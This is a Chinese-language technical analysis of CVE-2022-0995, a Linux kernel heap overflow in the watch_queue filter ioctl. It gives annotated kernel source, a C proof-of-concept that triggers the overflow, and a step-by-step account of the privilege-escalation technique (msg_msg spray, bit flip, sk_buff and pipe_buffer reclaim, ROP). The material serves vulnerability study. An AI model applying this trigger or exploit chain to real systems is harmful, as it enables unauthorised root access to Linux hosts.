漏洞编号: CVE-2022-0995
漏洞产品: linux kernel - pipe ioctl(pipeFd,IOC_WATCH_QUEUE_SET_FILTER,filter)
影响版本: ~ linux kernel 5.17-rc7
漏洞危害: pipe 的ioctl
功能IOC_WATCH_QUEUE_SET_FILTER
中存在堆溢出,可造成本地提权
源码获取:git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.13-5.13.0-35.40_20.04.1 --depth 1
(获取的源码不一定是能跑通exp 的版本,只是有漏洞并且可以编译调试漏洞发生点)
根据曝光exp 的环境:ubuntu 21.10 ;内核版本 5.13.0-37-generic,使用ubuntu desktop 21.10虚拟机搭建exp复现环境:
apt-get install linux-image-5.13.0-37-generic
reboot
cd CVE-2022-0995-main/
make
./exploit
提权成功:
调试用docker 环境:chenaotian/cve-2022-0995
目前网上对漏洞原理的描述非常少,根据exp 和补丁定位漏洞位置:
首先看到exp 中调用了pipe 的ioctl
,功能选项是IOC_WATCH_QUEUE_SET_FILTER
:
if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) {
perror("pipe2()");
exit(1);
}
··· ···
// Filter go
if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) {
perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)");
goto err;
}
找到内核中对应函数,先是入口pipe_ioctl
:
linux-5.13\fs\pipe.c : 594 : pipe_ioctl
static long pipe_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
struct pipe_inode_info *pipe = filp->private_data;
int count, head, tail, mask;
switch (cmd) {
··· ···
··· ···
case IOC_WATCH_QUEUE_SET_FILTER:
return watch_queue_set_filter(//调用漏洞函数watch_queue_set_filter
pipe, (struct watch_notification_filter __user *)arg);
··· ···
default:
return -ENOIOCTLCMD;
}
}
调用栈比较简单,直接根据IOC_WATCH_QUEUE_SET_FILTER
调用watch_queue_set_filter
函数:
linux-5.13\kernel\watch_queue.c : 286 : watch_queue_set_filter
long watch_queue_set_filter(struct pipe_inode_info *pipe,
struct watch_notification_filter __user *_filter)
{
struct watch_notification_type_filter *tf;
struct watch_notification_filter filter;
struct watch_type_filter *q;
struct watch_filter *wfilter;
struct watch_queue *wqueue = pipe->watch_queue;
int ret, nr_filter = 0, i;
··· ···
//[1] 从用户空间获取用户传入的filters
tf = memdup_user(_filter->filters, filter.nr_filters * sizeof(*tf));
··· ···
for (i = 0; i < filter.nr_filters; i++) {
if ((tf[i].info_filter & ~tf[i].info_mask) ||
tf[i].info_mask & WATCH_INFO_LENGTH)
goto err_filter;
/* Ignore any unknown types */
/* sizeof(wfilter->type_filter)=0x10
* [2] 这里的判断是tf[i].type 不可以超过0x80
* 如果超过,则nr_filter不计数,后续根据nr_filter 来申请大小
*/
if (tf[i].type >= sizeof(wfilter->type_filter) * 8)
continue;
nr_filter++;//计数
}
/* Now we need to build the internal filter from only the relevant
* user-specified filters.
*/
ret = -ENOMEM;
//[3] 由于struct watch_filter 是一个变长结构体,根据filters数量申请
//这里根据上面统计的filters 数量值nr_filter 申请大小
wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);
if (!wfilter)
goto err_filter;
wfilter->nr_filters = nr_filter;
q = wfilter->filters;
//填充wfilter->filters 操作
for (i = 0; i < filter.nr_filters; i++) {
/* 跟上面判断不一致
* #ifdef CONFIG_64BIT
* #define BITS_PER_LONG 64
* [4] 这里判断tf[i].type 不大于0x400 就可以操作
* 而上面申请内存时只有不大于0x80 的才计算在内
*/
if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)
continue;
q->type = tf[i].type;
q->info_filter = tf[i].info_filter;
q->info_mask = tf[i].info_mask;
q->subtype_filter[0] = tf[i].subtype_filter[0];
//[5] __set_bit 的操作是,将参数2 偏移 参数1 位置的比特(bit) 置1
__set_bit(q->type, wfilter->type_filter);
q++;
}
··· ···
··· ···
}
首先看一眼相关结构体和宏:
#ifdef CONFIG_64BIT
#define BITS_PER_LONG 64 //64位系统位64,每个long 类型的bit 数量
#else
#define BITS_PER_LONG 32
#endif /* CONFIG_64BIT */
struct watch_filter {//变长结构体
union {
struct rcu_head rcu;
unsigned long type_filter[2]; /* Bitmask of accepted types */
};
u32 nr_filters; /* Number of filters */
struct watch_type_filter filters[]; //filters 数量可变
};
struct watch_type_filter {// size: 0x10
enum watch_notification_type type;
__u32 subtype_filter[1]; /* Bitmask of subtypes to filter on */
__u32 info_filter; /* Filter on watch_notification::info */
__u32 info_mask; /* Mask of relevant bits in info_filter */
};
struct watch_notification_filter {//保存用户传入的结构体
__u32 nr_filters; /* Number of filters */
__u32 __reserved; /* Must be 0 */
struct watch_notification_type_filter filters[];
};
struct watch_notification_type_filter {
__u32 type; /* Type to apply filter to */
__u32 info_filter; /* Filter on watch_notification::info */
__u32 info_mask; /* Mask of relevant bits in info_filter */
__u32 subtype_filter[8]; /* Bitmask of subtypes to filter on */
};
根据代码中的注释,漏洞原理分析如下:
struct watch_notification_filter
类型的 _filter
,并使用nr_filters
成员来描述总共有多少filters(使用tf
变量获取用户传入的filters)。但这些只是用户传入的filters ,内核是否使用还需要进一步判断。tf[i]
,判断每个tf[i].type
不能大于 sizeof(wfilter->type_filter) * 8 = 0x10
,否则不算。只记录tf[i].type
合格的filters 数量,记为nr_filter
。nr_filter
,使用kzalloc
申请变长结构体struct watch_filter
为wfilter
,其中wfilter->nr_filters[x]
的长度x 就是刚统计的filters 数量。tf[i].type
是否合格,合格的填入,这样就能保证申请多少个,填入多少个。但这次的判断条件并不是 sizeof(wfilter->type_filter) * 8 = 0x10
,而是sizeof(wfilter->type_filter) * BITS_PER_LONG = 0x400
!
tf[x].type <= 0x10
,所以不会被技术,申请空间的时候不会带他的份,但他在第二次填充判断的时候,却满足 tf[x].type <= 0x400
,也就是说会把它算在内填充到 wfilter
结构体中,换句话说,存在这种例子能使实际使用的内存空间大于申请的内存空间。存在堆溢出!参数2
偏移参数1
位置的比特(bit) 置1,在该场景中就是将wfilter->type_filter
偏移q->type
的地方的bit 置1,但根据之前的判断,只要不大于0x400的q->type
都可以走到这里,也就是说,**这里这里可以将向后比较大的位置的一个bit 置1,这就不是连续的堆溢出了,属于范围内指定bit 篡改。**实际exp 主要利用的也是这里。查看patch,发现统一了上下的判断规则:
其中:
enum watch_notification_type {
WATCH_TYPE_META = 0, /* Special record */
WATCH_TYPE_KEY_NOTIFY = 1, /* Key change event notification */
WATCH_TYPE__NR = 2
};
也就是说,type只能从上面三种枚举中选择了。
根据从exp中不难抠出可以触发溢出的poc:
#define _GNU_SOURCE
#include
#include
#include
#include
#include
typedef struct watch_notification_filter wnf_t;
typedef struct watch_notification_type_filter wntf_t;
int main() {
int fds[2];
int nfilters = 10;
wnf_t *filter = (wnf_t*)calloc(1, sizeof(wnf_t) + nfilters * sizeof(wntf_t));
if (!filter) {
perror("calloc()");
exit(1);
}
filter->nr_filters = nfilters;
for (int i = 0; i < nfilters; i++) { // choose kmalloc-96
if (i < 3)
filter->filters[i].type = 1;
else
{
filter->filters[i].type = 0x90;
}
}
if (pipe2(fds, O_NOTIFICATION_PIPE) == -1) {
perror("pipe2()");
exit(1);
}
if (ioctl(fds[0], IOC_WATCH_QUEUE_SET_FILTER, filter) < 0) {
perror("ioctl(IOC_WATCH_QUEUE_SET_FILTER)");
exit(1);
}
}
但不一定能跑崩内核,调试可以看到溢出,根据poc 内容,一共有10个filters,只有前三个filters 是合法的type(=1),后面的type 属于可以绕过检测的范围(=0x90);不会被计算,但在使用的时候会被使用。也就是说会越界0x70左右:
结构体填充结束后,实际写的内容远远超过了结构体长度:
参考exp:Bonfee/CVE-2022-0995
使用的方法类似去年的CVE-2021-22555,堆越界写0 漏洞,可以参考:
【kernel exploit】CVE-2021-22555 2字节堆溢出写0漏洞提权分析
由于利用方法类似,这里长话短说
首先我们通过之前堆漏洞原理的描述,已知该漏洞存在两部分,堆溢出和一个大量偏移位置bit置1。堆溢出部分对溢出内容还是有一定限制的,所以这里exp 采用固定偏移位置置1来利用。一来只需要越界一次,传入数据比较好构造,二来可以直接构造成和CVE-2021-22555 相同的堆利用模型,后续过程直接抄作业即可。
首先由于struct watch_filter
结构体变长,我们需要选定一个长度来进行后续利用,这里选择使用4个filters,其中3个合法filters ,一个非法用来溢出,那么含有3个合法filters的watch_filter
需要申请0x48 大小,属于kmalloc-96(0x60)。这样发生溢出(只溢出一个filters)之后也不会影响到后面的堆块内容,大概如下图所示:
那么即使溢出也无法影响下一个堆块的内容,那如何利用呢?这里就是用前面提到的偏移位置bit 置1 操作,也就是__set_bit(q->type, wfilter->type_filter);
来进行漏洞利用,已知参数2 wfilter->type_filter
是固定指向watch_filter
结构体开头,而q->type
为我们可控的用户输入,且范围属于[0x80,0x400)区间。也就是说我们可以把以下范围内任意一个bit 置1 的能力:
那么假如下一个kmalloc-96我们布置成msg_msg
结构体的话,我们就可以篡改msg_msg
头部的m_list->next
指针,修改其中一个bit为1,让其指向其他消息队列的消息。这样就可以形成类似CVE-2021-22555 的堆布局构型了。
首先用msg队列在内核里堆喷,每个msg队列放两个msg,第一个大小属于kmalloc-96(first msg),第二个大小kmalloc-1k(second msg),然后将任意一个队列里的first msg 释放(红色的)用于后续申请到watch_filter
,如下图:
释放之后,申请上文提到的3+1 filter(3合法1非法),其中非法filter 的type字段为我们要篡改的bit 相对watch_filter
的偏移距离,这里选择0x30a,可以正好把地址相邻的下一个msg_msg
结构体的m_list->next
指针篡改为+0x400,假如next指针的值是0x0000,则篡改之后为0x0400。让其指向另一个消息队列的second msg,大概如下图:
如果该bit位本来就是1的话就什么也没发生,不过多试几次就行了。这样就做出了可以UAF的堆构型。有了这个模型之后,后续无论是任意地址写还是ROP都不是难事。我们把这个被两个first msg 同时指向的msg 成为msgA
接下来就可以通过两个消息队列来对msgA进行两次释放,第一次释放后用sk_buff
占位。利用sk_buff
可以随时编辑的特性,反复修改sk_buff
和利用msgrcv
反复读取堆地址泄露出两个消息地址,该操作是防止第二次释放时链表指针不对在unlink 时异常:
sk_buff
修改msgA size成员,以越界读到下一个msg 的内容,获取下一个msg 的m_list->prev
指向的first msg,记为msgBsk_buff
修改msgA size 和msgA msgseg next
成员为刚泄露的msgB,这样该msgB 就成为了msgA 的msgseg,这样就可以泄露出msgB 的m_list->prev
指针记为msgC,这样就拿到了两个合法msg 指针。然后再使用sk_buff
编辑msgA 的m_list->next
和m_list->prev
为刚泄露的两个合法msg 指针,这样再次释放就不会unlink 时异常。然后再次释放msgA,使用pipe buf 占位,接下来泄露ROP一气呵成。
具体技术参考文章也写的很详细了。
exp:Bonfee/CVE-2022-0995
bsauce:【kernel exploit】CVE-2021-22555 2字节堆溢出写0漏洞提权分析